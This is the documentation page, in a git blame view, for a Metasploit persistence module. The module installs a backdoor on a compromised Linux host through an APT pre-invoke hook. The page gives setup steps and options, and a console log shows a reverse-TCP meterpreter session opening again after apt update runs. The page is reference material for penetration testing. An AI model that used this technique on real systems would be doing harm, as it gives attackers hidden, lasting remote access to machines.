Files
metasploit-gs/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

67 lines
2.4 KiB
Markdown
Raw Normal View History

2019-04-26 13:12:06 -05:00
## Description
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
2019-04-26 13:12:06 -05:00
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
2019-04-26 13:12:06 -05:00
## Verification Steps
2019-04-26 13:12:06 -05:00
1. Exploit a box that uses APT
2. `use linux/local/apt_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`
When the system runs apt-get update the payload will launch. You must set handler accordingly.
2019-04-26 13:12:06 -05:00
## Options
**BACKDOOR_NAME**
2019-04-26 13:12:06 -05:00
Name of backdoor executable
2019-04-26 13:12:06 -05:00
**HOOKNAME**
2019-04-26 13:12:06 -05:00
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
**WritableDir**
2019-04-26 13:12:06 -05:00
Writable directory for backdoor default is (/usr/local/bin/)
## Scenarios
### Tested on Ubuntu 18.04.2 LTS
```
2025-07-17 11:51:29 +01:00
msf > use exploit/linux/local/apt_package_manager_persistence
msf exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
2019-04-26 13:12:06 -05:00
[*] Payload handler running as background job 0.
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) >
2019-04-26 13:12:06 -05:00
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) > set session 1
2019-04-26 13:12:06 -05:00
session => 1
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
2019-04-26 13:12:06 -05:00
payload => linux/x86/meterpreter/reverse_tcp
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
2019-04-26 13:12:06 -05:00
lhost => 172.22.222.136
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) > set lport 4444
2019-04-26 13:12:06 -05:00
lport => 4444
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) > exploit
2019-04-26 13:12:06 -05:00
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) >
2019-04-26 13:12:06 -05:00
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
2025-07-17 11:51:29 +01:00
msf exploit(linux/local/apt_package_manager_persistence) >
2019-04-26 13:12:06 -05:00
```
2019-04-26 13:12:06 -05:00
Note: Second session comes in after running `apt update` on the remote host